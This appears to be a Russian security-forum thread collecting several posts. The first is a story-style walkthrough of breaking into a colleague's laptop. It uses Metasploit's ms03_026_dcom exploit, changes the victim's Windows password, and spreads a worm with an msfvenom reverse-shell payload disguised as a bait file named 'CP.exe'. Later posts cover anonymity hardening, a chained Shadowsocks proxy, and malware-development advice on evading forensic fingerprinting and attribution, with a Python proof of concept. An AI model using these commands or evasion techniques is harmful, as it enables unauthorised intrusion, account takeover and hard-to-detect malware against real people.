Видим следующий результат, в сети находится три устройства, одно из которых точно роутер-телефон, а два остальных - ноутбуки. Исключая основную машину, введя команду ipconfig в командной строке Виндоус, предполагаем, что 192.168.9.152 - это наша жертва.

И вот пришло время запуска Метасполоита, так как Тадеус делает это впервые, ему пришлось гуглить, а нам достаточно ввести в новое окно терминала:
Код:
msfconsole

Но прежде давайте воспользуемся графическим интерфейсом Nmap и просканируем открытые порты:
Код:
zenmap

На удивление ни одного открытого порта кроме 53-его и 135, оказалось отключенная служба Брандмауэра Винды не делает вас уязвимыми до мозга костей.

Тадеус когда-то давно слышал о уязвимости Этернал Блю и решил загуглить как же узнать уязвимо ли устройство, ну и следом вводит такие команды:
Код:
use auxiliary/scanner/smb/smb_ms17_010<br>set RHOSTS<br>run

Ну и видим, что хост не подвержен такому типу атак. (А вот мой, что очень странно, на десятой винде ещё как уязвим, интересно). Что же делать, Тадеус в замешательстве. Идея пришла сама собой, по после наш Анонимус осознал её тщетность. Загрузиться в безопасном режиме, скинуть пэйлоад, открыть тот и что? Ведь нам нужно как-то запустить это с под основного аккаунта, можно, конечно закинуть в автозагрузку, но последняя начинает свою работу только после входа в учетную запись, а гость тоже запаролен.

Но всё же выход есть, если 53 порт ни Тадеус, ни автор не знает, как можно использовать, то вот с 135 можно побаловаться чутка.

Тадеус решает использовать первый попавшийся RPC эксплоит, надеясь на удачу.
Код:
use exploit/windows/dcerpc/ms03_026_dcom<br>show options

Исходя из опций нам нужно установить лишь RHOST и пейлоад, что Косуке и делает:
Код:
set rhost 192.168.9.162

А полезную нагрузку будем использовать самую банальную, вот такую:
Код:
set payload windows/meterpreter/reserve_tcp

Screenshot_2021-12-15_19_58_12.png



Следом запустив выполнение эксплоита, ожидает, а после ловит окно с подключением:
Код:
exploit

Теперь Тадеус получил оболочку метерпретер на целевой машине, что дальше?

Для начала он решает осмотреться, прописав следующую команду:
Код:
pwd

Находимся мы на рабочем столе, прикольно, а теперь посмотрим, что же здесь имеется:
Код:
ls

Куча всяких игрушек, скрины и интересный файл с названием “ne otkrivay tyt CP”, наш герой явно заинтересовался, но для начала давайте перейдем в shell, сделаем это следующими командами:
Код:
getuid<br>shell

И ведь задачей, уже полноценного, Анонимуса было сменить пароль от учетки, поэтому это и сделаем.

Для просмотра списка пользователей используем:
Код:
net user

Больше всего нас интересует аккаунт “Ne lomay pj”, меняем ему пароль, дабы получить доступ:
Код:
net user Ne lomay pj codebynet

Дело сделано, Тадеус дрожащими от перевозбуждения руками вводит пароль, верно лишь с 56-ой попытки, но не суть, теперь он полноценный Анонимус-хакер, можно гордиться собой, не пойдя легкими путями, Косуке достиг своей цели!

А что же это за файлик такой, уже не терпится открыть, он делает это и… Начинается новая глава.

Как Тадеус червей познавал: подстава подстав от коллеги

Верно, на машине, где был запущен этот файл ничего не произошло, поэтому не выключая ноутбук, наш герой ложится на кровать. Слегка расстроившись из-за того, что пометка CP оказалась всего-лишь ничем, он даже не задумался о том, что что-то могло произойти с его устройствами.

А тем временем тот самый коллега Санёк по кличке Васёк Прикольный, начинает реализацию своего хладнокровного плана, который он пытался воплотить в жизнь целых два года.

Простая общажная комната, дырявые окна, картонные стены, следы пожара, тьма. И лишь свет монитора озаряет это помещение, сгорбившись что-то клацает, с маниакальной улыбкой на лице, антагонист сие статейки. Он очень молод, тело явно сильно истощено, его худощавый силуэт оставляет на стене странную тень, похожую на облик демона из какого-то аниме. Санёк не просто секретарь в той же организации, что и Косуке, а и студент IT-шник с превосходным боевым опытом.

Прошлое, годика так два назад. Юный Васёк Прикольный, да, тот который Санёк, только что получил работу в организации, рабочие дни шли быстро, слишком скучно.

Поэтому Санек решает позабавиться над своими сослуживцами по рабочему делу и на коленке создает сетевого червя на питоне, но не для того, чтобы применить это чудо в рабочем помещении. Найдя старый ноутбук, он ставит на все учетные записи очень сложные пароли, прежде выгрузив своё чудо с очень вызывающим названием, которое явно заинтересует большинство работников.

Для нас процесс компиляции и подготовки самого червя будет выглядеть следующим образом:
Код:
git clone https://github.com/rposchinger/networm_py3<br>cd NetWorm<br>pip3 install -r requirements.txt

И после запуска питон-файла начнутся попытки входа в учетные записи всех машин, подключенных к локальной сети, если пароль отсутствует - вуаля, а если всё же есть, будет происходить подбор, следом произойдет подгрузка полезной нагрузки на рабочий стол с последующим открытием оболочки метерпретер в слушателе, если владелец её откроет.

Тут автор немного упустит подробностей по доработке скрипта, именно ту часть, где полезная нагрузка подгружается. А о её создании, поговорим.

Первым делом Санек генерирует с помощью Венома и шифрования Shikata ga nai сам пейлоад:
Код:
msfvenom -a x86 --platform Windows -f exe -p windows/meterpreter/reverse_tcp LHOST=192.168.9.83 LPORT=6666 -e x86/shikata_ga_nai -i 13 -b '\x00' &gt; CP.exe

Кстати, с пометкой нулевого байта, как плохого. Но количество обнаружений от этого никак не стало меньше. 48/56 к слову.

А теперь достаточно лишь запустить слушатель в метасплоит:
Код:
use exploit/multi/handler<br>set PAYLOAD windows/meterpreter/reverse_tcp<br>set LHOST 192.168.9.83<br>set LPORT 6666<br>run

Кстати, штука работает на любой системе без антивирусника, 10-тка, 7-ка, 10.1( то бишь 11-я) - подвержены все.

А имея оболочку Саня уже подгружает полноценный бэкдор, пока Тадеус мирно дрыхнет в пивном угаре.

Стал ли Косуке полноценным анонимусом, как и возжелал на начале? Ответьте вы. Продолжение? Не думаю, но всё может быть.

Выводы

Суммируя всё сказанное и показанное, повторю дисклеймер: лучший протектор - это не антивирус, не заклеенные камеры и никак не перерезанные кабели эзернета, разбитые мониторы и темный подвал даже без радиоволн. Лучшая защита - это ваши знания и понимания хода мыслей преступника.

В случае с камерами, вас подводят сами производители или ваша же беспечность. Оставлять пароль Админ/123123, в 2021 году уже не актуально, но таких идейных гениев мысли тучи, доказано на практике. Перезагрузка камер происходит лишь на определенных моделях видеорегистрирующих устройств, с каждым днем их всё меньше и меньше.

Кстати во время написания этой работы, автор столкнулся со множеством проблем и ошибок, решение некоторых было представлено в статье.

А далее выводы понятны - не будьте беспечными и всё будет пучком. С вами был тот самый DeathDay, а мы закругляемся. Всем доброго здравия и удач. Пока.
 
Так, а в нескольких словах, как оставаться самым главным анонимом из всех анонимов нашего мира?
 

Обзор способов оставаться анонимным в Сети​


Желаю Всем доброго времени суток! Мне задавали довольно часто вопрос о том, как настроить полностью свою систему так, чтобы она была анонимная и безопасна. Хочу предупредить заранее, что эта статья не представляет собой мануал-инструкцию, а фактически является набором тезисов, которые будут отражать суть проблемы и возможные варианты решения. Скажем проще - это будет просто перечень пунктов на которые нужно обратить внимание. Это не инструкция, поскольку у каждого свое финансовое обеспечение, свои задачи, которые они требуют от системы, у каждого свои знания и навыки в этой сфере. Некоторые из Вас однозначно подумают, что я нагнетаю ситуацию, однобоко рассматриваю ситуацию и даже являюсь параноиком. Я не заставляю Вас это выполнять, решать только Вам. Поехали!

1. Прежде всего, начнем с выбора аппаратной части, то есть ноутбук. Здесь все довольно сложно, потому что почти все производители этой продукции не уважают права пользователей на свободу и безопасность их личных данных. Приведу очень интересный пример, большинство Ваших ноутбуков имеют процессор Intel, также они имеют свой сабпроцесор под названием Intel Management Engine, который в системе выше root (то есть по идее наиболее привилегированного пользователя). Имея доступ к сабпроцесору, злоумышленник получает доступ ко всему и заблокировать его невозможно. Если отключить его, то и не запустится и сам процессор. Об этом уязвимость знают разработчики уже довольно давно, но ничего с этим не планируют делать. Неудивительно?

1593945620568.png

Intel Management Engine

Решение: если нельзя отключить, то можно перепрошить. Но предупреждаю, это только для профессионалов, которые имели с этим дело. Делается это с помощью платы Raspberry Pi или программатора. Для начинающих рекомендую обратить свое внимание на продукцию компании Purism, которая борется за свободное программное и аппаратное обеспечение, и на их серию продукцию Librem. Поскольку она пока достаточно дорогая и недоступная в многих странах пока, то обратите внимание на ноутбуки серии ThinkPad, но исключительно производства IBM, а не Lenovo.

1593945765134.png

ThinkPad X200

Для телефонов, то здесь ситуация разная. Если мы говорим о стоковой прошивке (от производителя), то это однозначно IOS с их закрытой системой. Но это все равно не анонимно и опасно для Ваших данных.

Решение: телефон на базе Android, который поддерживает прошивку LineageOS, Kali NetHunter или Paranoide.

1593946243834.png

Мой Asus Nexus 7 c Kali Nethunter

2. Далее будет идти набор микропрограммы для работы с аппаратурой ноутбуке или ПК, а также для работы с подключенными к ним устройствами. Вы все знаете это как BIOS или UEFI. Однако у обоих есть ряд уязвимостей и программных закладок от самих разработчиков, поэтому для использования они не рекомендуются.

Решение: использование открытого программного обеспечения CoreBoot или LibreBoot, которые имеют ядро Linux.

3. После этого Вам будет необходимо выбрать операционную систему. Тут долго останавливаться не буду, на форуме есть куча статей, которые это обозревают. Нельзя использовать ОС типа Windows или MacOS, а только ОС на базе Linux или BSD.

Решение: рекомендую Вам для начала освоить операционные системы семейства Debian, затем Arch, а в дальнейшем обратить также внимание на Hyperbola GNU / Linux и OpenBSD. Во-первых, в данных дистрибутивах отсутствует система BDI, вместо OpenSSL используется LibreSSL, блокируется все неоткрытое программное обеспечение на уровне ядра. Если не понимаете, что такое BDI, OpenSSL, LibleSSL и в чем разница, то рекомендую загуглиты. Это довольно тяжелая тема, но важная.

1593946815306.png

Сам же использую OPENBSD 6.7

4. При установке операционной системы или после ее окончания рекомендую зашифровать диск полнодисковим шифрованием. Для этого есть утилита LUKS2.

1593946588914.png

Как видите, то перед загрузкой ОС у меня запрашивает Passphrase, это и значит то, что системный диск зашифрован LUKS2
5. После установки шифрования и обновление всей системы, можете устанавливать программное обеспечение, которое Вам нужно. По браузеров, то рекомендую использовать браузер на основе FireFox. Это IceCat, Tor Browser, LibreFox. Нужно помнить, что браузеры собирают и отправляют довольно много метаданных о Вашей систему. Поэтому нужно устанавливать и настраивать расширение для браузера, которое будет блокировать разные трекеры и рекламу, отключить функции и скрытых настроек через about: config, которые Вам не нужны.

6. Если Вам нужны почтовые клиенты, то рекомендую использовать ThunderBird. Это почтовый клиент с открытым кодом, разработанный FireFox Fundation.
С месседжерами на форуме тоже есть много статьей. Здесь до сих пор рекомендую использовать Jabber (XMPP) и Matrix.

7. Используйте виртуальные машины. Так злоумышленники не смогут узнать конфигурацию и данные настоящей системы. Ваш Wi-Fi роутер также в опасности. Поскольку довольно много уязвимостей и программных закладок существует на нынешних роутерах. Используйте роутеры на базе свободного программного обеспечения OpenWrt. Также хочу отметить, что роутеры знают некоторую конфигурацию устройств, подключались к нему. Поэтому нужно ставить промежуточное звено между Вашими устройствами и роутером. Для этого легко можно организовать с помощью MikroTik или Raspberry Pi с OpenWrt. Таким образом роутер будет иметь информацию только о промежуточном звене. Даже при сканировании сети Ваши устройства будут оставаться в безопасности.

1593946438443.png

Oracle Virtual Box c моими виртуалками

8. Финальным аккордом станет обфускация (усложнения) и шифрования Вашего трафика. Даже при использовании VPN, а также Tor, I2P и FreeNet сетей Ваш провайдер все равно видит, что вы используете данные технологии и будет индексировать и метить Ваш трафик в сети. Это в дальнейшем может привести к блокированию доступа на эти ресурсы. Есть программное обеспечение Noisy, которое будет усложнять Ваш трафик и провайдер Вас не индексирует. Используйте только собственный VPN-сервер, поскольку Вы можете контролировать маршрут и хранения Вашего трафика. Это возможно организовать с помощью виртуального частного сервера VPS или Raspberry Pi с публичным ip-адресом.

1593947107350.png

У меня развернут WireGuard на VPS(Debian 10) на сервисе Digital Ocean

Но это только малая часть. Анонимность не заканчивается на ноутбуке. Если Вы хотите быть анонимными в реальной жизни, то нужно соблюдать некоторые правила. Например, не нужно пользоваться мобильными телефонами или ограничить себя в его использованы, не нужно жить по месту прописки, официально работать, не пользуйтесь банками, никаких социальных сетей и многие другие факторы, которые влияют на Вашу деанонимизация. Но это всу утопия.) Все что я сказал о настройке безопасности Вашей системы верно, но если Вами заинтересовалась служба на три буквы, то это Вас не спасет. О Вас или уже все знают, или пока не знают, потому Вы еще не интересны.
 
Так, а в нескольких словах, как оставаться самым главным анонимом из всех анонимов нашего мира?
В основном человечский фактор, где то похвастался или другу рассказал и он в итоге сдал, и тогда все эти статьи не сработают. :)
 
147768_O.jpg
Начало тут: Создание своего VPN с помощью Shadowsocks и обфускация трафика

Введение

В данной статье будет рассмотрен плагин v2ray, пришедший на замену simple-obfs (который уже устарел), и то, как создать подобие сети Tor с входными и выходными нодами.

Вы спросите: "Ну, насчёт первого понятно, а зачем второе?"

Я отвечу - так вас будет сложнее отследить: весь трафик, который будет приходить на входную ноду, будет пересылаться на выходную ноду, а уж там выпускаться во Всемирную сеть. Благодаря этому тот, кто попытается вас найти (например, "хацкер", которого вы оскорбили), следя, кто писал с этого IP, и кто в это же время к нему подключался, останутся ни с чем.

Ну что, приступим!

Начнём с настройки сервера с плагином v2ray.

v2ray
Настройка сервера

Ну, начнём с очевидного - вам нужен сервер. Как его выбрать - смотрите в первой статье. ОС, которая использовалась на сервере для написания данной статьи - Ubuntu 18.04 64x.

Сначала обновимся:
Код:
sudo apt update &amp;&amp; sudo apt upgrade
Затем установим сам shadowsocks:
Код:
sudo apt install shadowsocks-libev
Затем идём на данную страницу, копируем ссылку на последний релиз для нашего сервера и скачиваем его командой wget:
Код:
wget https://github.com/shadowsocks/v2ray-plugin/releases
Распаковываем скачанный архив (название может отличатся):
Код:
sudo tar -xf v2ray-plugin-linux-amd64-v1.3.0.tar.gz
Переносим плагин в удобное место и переименовываем его:
Код:
sudo mv v2ray-plugin_linux_amd64 /etc/shadowsocks-libev/v2ray-plugin
Теперь разрешим плагину и Shadowsocks использовать привилегированные порты:
Код:
sudo setcap 'cap_net_bind_service=+eip' /etc/shadowsocks-libev/v2ray-plugin<br>sudo setcap 'cap_net_bind_service=+eip' /usr/bin/ss-server
Создаём файл конфигурации, с которым будет работать Shadowsocks, в nano :
Код:
sudo nano /etc/shadowsocks-libev/v2ray.json
и вставляем следующее:
JSON:
<span>{</span><br> <span>"server"</span><span>:</span><span>"0.0.0.0"</span><span>,</span><br> <span>"server_port"</span><span>:</span><span>443</span><span>,</span><br> <span>"password"</span><span>:</span><span>"ваш пароль"</span><span>,</span><br> <span>"local_port"</span><span>:</span><span>1080</span><span>,</span><br> <span>"timeout"</span><span>:</span><span>300</span><span>,</span><br> <span>"method"</span><span>:</span><span>"chacha20-ietf-poly1305"</span><span>,</span><br> <span>"fast_open"</span><span>:</span><span>true</span><span>,</span><br> <span>"reuse_port"</span><span>:</span><span>true</span><span>,</span><br> <span>"plugin"</span><span>:</span><span>"/etc/shadowsocks-libev/v2ray-plugin"</span><span>,</span><br> <span>"plugin_opts"</span><span>:</span><span>"server"</span><span>,</span><br> <span>"nameserver"</span><span>:</span><span>"ваш DNS сервер"</span><br><span>}</span>
В поля password и nameserver вставляем ваши пароль и адрес DNS сервера соответственно. Также вы можете изменить метод шифрования, если вас не устраивает этот. Сохраняемся (Ctrl-O, Enter) и выходим (Ctrl-X)

Теперь создадим сервис ss-v2ray.service:
Код:
sudo nano /etc/systemd/system/ss-v2ray.service
И вставим в него следующее:
Код:
[Unit]<br>Description=Shadowsocks-libev with V2RAY-websocket obfuscation<br>Documentation=man:shadowsocks-libev(8)<br>After=network.target<br><br>[Service]<br>Type=simple<br>User=nobody<br>Group=nogroup<br>LimitNOFILE=51200<br>ExecStart=/usr/bin/ss-server -c /etc/shadowsocks-libev/v2ray.json<br><br>[Install]<br>WantedBy=multi-user.target
Сохраняемся и выходим.

Затем включаем и рестартуем сервис:
Код:
sudo systemctl enable ss-v2ray.service &amp;&amp; sudo systemctl restart ss-v2ray.service
Настройка сервера завершена!

Настройка клиента
Настройка ничем не отличается от описанной в первой статье, но есть пара нюансов:
  • В Windows вам нужно скачать версию под вашу архитектуру, и переименовать её в v2ray.exe, а в настойках Shadowsocks, в Опциях плагина указать параметр host=example.com, где example.com - тот сайт, куда "идёт" трафик
  • В Linux - скачиваем плагин, перемещаем туда же, куда перемещали и на сервере. Затем в config.json указываем всё то же, что указывали в v2ray.json, меняя 0.0.0.0 в строке "server" на адрес сервера, и "server" на "host=example.com" в строке "plugin_opts"
  • На Android - просто скачиваем v2ray plugin в Google Play и указываем в настройках плагина, в опции host, любой сайт
Настройка клиента завершена!

Теперь перейдём к созданию подобия сети Tor

ShadowTor
(да, я решил это так назвать, и не спрашивайте зачем)
ВНИМАНИЕ! Здесь требуется уже 2 сервера

Настройка выходной ноды
Выходная нода настраивается точно также, как и просто сервер с Shadowsocks (советую поставить на него v2ray или simple-obfs)

Настройка входной ноды
На неё мы ставим Shadowsocks, и настраиваем как клиент, чтобы он подключался к нашей выходной ноде

Затем ставим HAProxy:
Код:
sudo apt install haproxy
Потом нам нужно отредактировать файл настроек HAProxy:
Код:
nano /etc/haproxy/haproxy.cfg
В котором заменим строку в секции default:
Код:
mode http
на
Код:
mode tcp
Затем, в самый конец файла, мы вставим следующее:
Код:
frontend ss-in<br> bind *:80<br> default_backend ss-out<br>backend ss-out<br> server server1 127.0.0.1:1080
И всё!

Перейдём к настройке клиента
Настройка клиента
Здесь нет ничего сложного - просто настраиваем использование интернета программами через SOCKS5 прокси, который теперь находится по адресу ip_входной_ноды:80

Теперь весь трафик сначала будет идти на входную ноду, затем от неё на выходную, а только лишь потом - в интернет.

Ну вот и все! Если вы увидели ошибки - пишите в комментарии!
 
1589209695009.png


Это первая часть статьи, состоящая из двух частей, в которой пойдет речь о применении шпионажа для разработки вредоносных ПО, при этом, устойчивым к форенсике и применении атрибуции. В этой первой части я собираюсь дать несколько советов и примеров того, как применять методологию моделирования угроз к процессу разработки, а также поделиться простой методикой, с которой я экспериментировал, исследуя методы создания и хранения данных, устойчивых к анализу финегрпринтов.

ДИСКЛЕЙМЕР: Следующее содержание предназначено только для использования в образовательных и исследовательских целях. Автор не потворствует противоправным действиям.

Основы фонового моделирования и моделирования угроз

Если вы разрабатываете какое-то программное обеспечение, где все должно быть вне поля зрения, все статическое - плохо. Статика означает, что вещи остаются такими, какие они есть, и на них можно указать пальцем в любое время и в любом месте в пространстве. Вещи, на которые можно указывать пальцем, можно назвать, что является природным действием людей, еще с детского возраста. И как однажды сказал Томас Л. Фридман (2007): "В мире идей киберпространства, назвать что-то - означает владеть этим."

Смотри, мам! Это ПОЛЯРНЫЙГУСЬ!


Да, мы говорим об атрибуции, которая не является чем-то желанным, особенно если вы проводите тайную операцию. Потому что больше нет прикрытия, о котором можно было бы говорить, и противник знает, что это вы. Мы также говорим о фингерпритах, которые опять же нежелательны, потому что это может быть использовано для обнаружения определенной особенности обьекта, будь то во время выполнения как часть антивирусного решения или после выполнения как часть процесса DFIR (Digital Forensics and Incident Response). Сегодня мы поговорим о фингерпринтах.

Прежде чем двигаться дальше, вспомним основы моделирования угроз и, в частности, варианты устранения атаки (Shostack, 2014):

Смягчение последствий
Использовать вещи, чтобы затруднить использование угрозы. (Например, используя многофакторную аутентификацию).

Ликвидация
Отключение функции, не делая этого в первую очередь. (Например, отключение неиспользуемых услуг на компьютере).

Перевод
Позволить кому-то другому справиться с риском. (Например, используя антивирусное программное обеспечение).

Согласие
Принять риск, и рассматривать его как управляемый и/или не критичный для текущего дела. (Например, не делать этого в повседневной жизни (имеется ввиду
Ссылка скрыта от гостей
без необходимости).


Первая очевидная статическая часть ПО - это его исполняемый код, который является основным кандидатом на создание подписей, так как он может содержать множество уникальных шаблонов для снятия фингерпринтов. Что касается политики приложения, то вы не можете её принять, потому что не хотите, чтобы вас обнаружили. И поэтому, у нас остается два варианта: перенос и смягчение. Вы можете перенести угрозу, используя коммерческое решение для упаковки ПО, к примеру, печально известный
Ссылка скрыта от гостей
- но опять же, какой бы была ваша целевая кибератака и что бы подумали про вас люди, вернее специалисты? И, наконец, вы можете смягчить это самостоятельно.

Для смягчения против фнигрепринтов в участках кода исполняемого файла существуют различные подходы. Один из старейших трюков - это использование поли/олиго/мета-морфического метода (почитать про это более детально на русском языке можно
Ссылка скрыта от гостей
)- серьезно, эти методы – двигатели преобразования кода во множество вариаций - что значит, код не будет статичным (Szor, 2005). У каждой из этих техник есть свои предостережения, и я не буду вдаваться в подробности, однако более подробную информацию вы можете найти не только в упомянутой книге, но
Ссылка скрыта от гостей
и
Ссылка скрыта от гостей
.

Более продвинутые методы направлены на то, чтобы смягчить последствия от сканирования. И в этом есть смысл, если вы не видите чего-то, то вы и не сможете навести на это и как-то это обозначить. Существует также, множество вариаций таких методов. Насколько я помню, они начинаются с простого
Ссылка скрыта от гостей
(чтобы усложнить выгрузку исполняемого файла), использование техник
Ссылка скрыта от гостей
для запуска под маской другого процесса и, возможно, под маской «белого» программного обеспечения; и перетекают в более продвинутые техники, таким как: перехват системных вызовов для перенаправления потенциально угрожающих API вызовов (Blunden, 2012), и еще более непонятным и высоко продвинутым техникам, таким как:
Ссылка скрыта от гостей
или
Ссылка скрыта от гостей
.

Но одна вещь, которая обычно упускается из виду - это данные, которые также являются предметом сегодняшней демонстрации. Но, на самом деле, код тоже является данными. Хотя пометка "код" подразумевает, что он исполняемый. Пометка чего-то как исполняемого вводит свои собственные ограничения, набор инструкции в конечном итоге должен быть прочитан процессором, и поэтому защищать читаемость кода. Все предшествующие техники х-морфического-кода соответствуют этому ограничению. А вот подходы, основанные на антисканировании, не затрагивают код, а просто защищают его, злоупотребляя логикой контроля доступа.

Когда я говорю данные, я имею в виду читаемую и записываемую память или строки. Вот и все. И во многих случаях они вам не нужны, потому что обычно что-то читаемое и записываемое предназначено для людей. И как только мне кто-то сказал на IRC: "Если ты создаешь строки, ты делаешь это неправильно". В любом случае, основная идея заключается в том, что если вы разрабатываете низкоуровневое программное обеспечение, которое также можно использовать для разработки шпионских программ, то строки обычно являются побочным продуктом, и существуют лучшие средства для запроса чего-либо. В конце концов, обычно есть 8-битное или большее числовое значение, показывающее состояние вещи, которую вы действительно запрашиваете. То же самое можно сказать и об эксфильтрации, если телеметрическая коллекция является частью вашей операции, то не отправляйте просто огромное сообщение, которое читает Microsoft Windows 10, Build 18363.418, а кодируйте его в соответствии с вашими целевыми спецификациями в виде значения от 0 до 255 (используя что-то вроде enum, например), и отправляйте его в виде однобайтового значения. Таким образом, вы не только сокращаете время передачи сообщения, но и экономите место. Не используйте строки, пока вам это абсолютно необходимо. Поначалу это может показаться довольно простым правилом, но вы удивитесь, узнав, сколько разработчиков совершают эти несложные операционные ошибки.

Но предназначены ли строки только для передачи сообщения? В принципе, нет. Они также используются в качестве идентификаторов или имен, например, для получения адреса памяти
Ссылка скрыта от гостей
, такого как file, mutex, named pipe и т.д.

Таким образом, всякий раз, когда нам нужно обозначить объект ядра, в том числе и файл на диске, мы должны дать ему имя. И если вы внимательно следили за мыслью, вы должны увидеть, к чему это приведет. Знаете ли, всякий раз, когда вы называете объект ядра, вы также оставляете подпись с вашим именем на нем, чтобы криминалисты могли найти, задокументировать и поделиться со всеми в качестве МОК. Так что давайте слегка затронем эту тему.


Генерация идентификатора, устойчивого к снятию фингерпринту

Так как же мы можем преодолеть эту проблему? Легко, просто не делайте так. Я имею в виду попытаться обойтись без именования объектов ядра и реализовать какой-нибудь другой метод. В отличие от того, что я говорил ранее, в данном случае приемлемым решением в качестве средства моделирования угроз будет устранение, так как данные имеют более весомый вес по сравнению с кодом. Если вам нужно разделить pipe или mutex, передайте его адрес с помощью чего-нибудь другого, что не требует использования предустановленного имени. Если вам нужно хранить данные для последующего использования, спросите у себя, критично ли это для работы и можно ли обойтись без состояния персистентности или стоит подумать о
Ссылка скрыта от гостей
данных в NVRAM (Non Volatile Random Access Memory, энергонезависимая память) материнской платы (он все равно требует идентификатора, но при этом обладает характеристиками антисканирования для защиты от посторонних глаз).

В некоторых редких и ограниченных случаях вы можете перенести риск, например, используя ранее установленное программное обеспечение для защиты от записи на целевом компьютере, такое как
Ссылка скрыта от гостей
. Записывать данные на диск? Юез проблем, Deep Freeze позаботится об этом (Но всегда RTFM (прочитайте документацию) и тестируйте, тестируйте, тестируйте; но что, если у них есть решение для out-of-band протоколирования?). Как я уже говорил, такие ситуации редкие, и эта, также не дает защиты во время выполнения.
 
Наконец, давайте поговорим о реальном, о смягчении. Всякий раз, когда возникает необходимость скрытно назвать что-то, один из моих любимых приемов - это генерация в случайном порядке. Вот куча строк, сгенерированных на
Код:
s9QZEycn9aGjRBP98LWO<br>nWnp7DbLtgs8yIt8nRXQ<br>6GzgLhVPubTHp0GIwrDa<br>z16lns0dQ15fAzymiYC1<br>Fe4Peghp3qT4usvKlZxo<br>4rRQPSlCwRD7S4ALq3HG<br>PS2JtxlvzW2ICKTBXZit<br>STExZZd74MT9qJqTezRU<br>HFn6sFmLFuP9NkgFcUB6<br>FyqMQqk4GFf543vIv3AA
Однако, это ничего не решает. Даже если вы поместите их в исполняемый файл во время компиляции, они все равно будут уникальными. Но нам все равно, мы могли бы просто назвать ThisIsARandomString, и никакой разницы не было бы. Поэтому, нам нужно слегка подправить. А для этого нам нужно определить то, что я называю иерархиями временных доменов для генерации случайных значений (если для этого уже есть лучшее имя, пожалуйста, дайте мне знать). В принципе, существует несколько этапов, когда случайная величина может начать свое существование, отсортированное от общего к конкретному:
  • Global-time, глабольное время (т.е. генерируемое один раз, вставляемое в код и никогда не изменяемое впоследствии)
  • Compile-time, время компиляции (т.е. генерация нового значения для каждой новой компиляции кода)
  • Run-time, время выполнения (т.е. генерация значения во время выполнения кода)
  • Sub run-time, дополнительное время выполнения (т.е. генерация значения во время определенного кадра исполнения)

Они определенно не высечены в камне, и список может быть расширен или сокращён, в соответствии с вашими потребностями. Как правило, каждое случайное значение, которое мы видим вокруг, используемое в криптографии, генерируются в run-time домене. Потому что теоретически, генерируемые значения не привязаны ни к чему, кроме Вселенной - они, так сказать, универсально случайны - и поэтому они более безопасны. Но заметили ли вы, что я сказал "привязать"? Да, забавная и в нашем случае полезная характеристика генераторов случайных чисел заключается в том, что вы можете изменять их временной домен до тех пор, пока вы посылаете им значение, происходящее из вашего целевого домена.
Чтобы лучше понять, давайте продолжим на практике. Один из старейших трюков для проверки того, что экземпляр приложения уже запущен, это
Ссылка скрыта от гостей
, например, mutex или semaphore. В основном, если объект ядра с заданным именем уже существует, это означает, что приложение уже запущено, и нет необходимости создавать новый экземпляр, а выходить из него безопасно. Но этот метод также имеет свои риски, если вы выберете очень распространенное имя, такое как Mutex1, существует высокий уровень риска, что вы столкнетесь с другим приложением. Поэтому более безопасной практикой является генерация случайного значения GUID (Global Unique Identify) в global-time и использование его в качестве предустановленного имени.

Однако, хотя это и может снизить риск столкновения, благодаря своему уникальному свойству он также может быть использован в качестве фингерпринта для создания подписи. Чтобы преодолеть это, нам необходимо уменьшить его временный домен, «посадив» его со значением, полученным от целевого домена. Например, если вы хотите использовать целевой фрейм выполнения для каждого пользователя в sub run-time, вы можете использовать имя пользователя и имя компьютера (для увеличения энтропии, в случае, если имя пользователя очень типичное, как user или jhon и т.д.)

Предыдущий PoC принимает global_guid и создает похожий subrun_guid, комбинируя его с именами компьютеров и пользователей, но на этот раз он находится во временном домене subrun и является уникальным значением только для этого компьютера и пользователя. В некотором смысле, это очень похоже на посол пароля перед сохранением сборник. Обратите внимание, что для демонстрации я выбрал простой, низкоэнтропический ASCII GUID в нижнем регистре. В производстве, вы должны использовать правильные GUID, но вам также придется иметь дело с их нормализацией в понятный вид.

Несмотря на то, что этот пример был достаточно хорош для демонстрации, мы все равно можем его немного подправить. Мы можем, например, объединить этот механизм смягчения с механизмом переноса, злоупотребив моделью памяти ASLR и Windows, а также изменить механизм генерации ID на альтернативный.

Python:
<span>#!/usr/bin/env python3</span><br><br><span># fingresid_poc2.py</span><br><br><span>import</span> ctypes<br><span>import</span> random<br><span>import</span> string<br><br><span>#Получаем базовые адреса двух связанных системных библиотек DLL</span><br>subrun_address_kernel32 <span>=</span> ctypes<span>.</span>windll<span>.</span>kernel32<span>.</span>GetModuleHandleW<span>(</span><span>'kernel32'</span><span>)</span><br>subrun_address_ntdll <span>=</span> ctypes<span>.</span>windll<span>.</span>kernel32<span>.</span>GetModuleHandleW<span>(</span><span>'ntdll'</span><span>)</span><br><br><span>#Инициируем и запускаем PRNG с числовыми значениями адресов</span><br>subrun_prng <span>=</span> random<span>.</span>Random<span>(</span>subrun_address_kernel32 <span>^</span> subrun_address_ntdll<span>)</span><br><br><span># Создаем идентификатор во время выполнения, который изменяется случайным образом при каждой загрузке</span><br>subrun_uid <span>=</span> <span>''</span><span>.</span>join<span>(</span>subrun_prng<span>.</span>choice<span>(</span>string<span>.</span>ascii_letters <span>+</span> string<span>.</span>digits<span>)</span> <span>for</span> _ <span>in</span> <span>range</span><span>(</span><span>32</span><span>)</span><span>)</span><br><span>print</span><span>(</span>subrun_uid<span>)</span> <span># e.g. GUfK0Jw628yFLmEo2kWctDd31MPAhcU1</span>
В этом примере мы узнали базовые адреса двух общесвязанных системных DLL и использовали их в качестве посылки для инициирования подпроцессорного PRNG(Pseudorandom Number Generator). Затем мы использовали результирующий PRNG для выбора ASCII-символов и цифр для создания идентификатора длиной 32 символа, который гарантированно изменяет каждую перезагрузку или, другими словами, он находится во фрейме выполнения каждой перезагрузки в подпроцессе. Это прекрасно работает, потому что базовые адреса системных DLL переопределяются при каждой загрузке, а ASLR заботится о том, чтобы вещи не были статичными, давая нам достаточно энтропии. Вот более подробное объяснение (Yosifovich & Solomon & Ionescu & Russinovich, 2017):

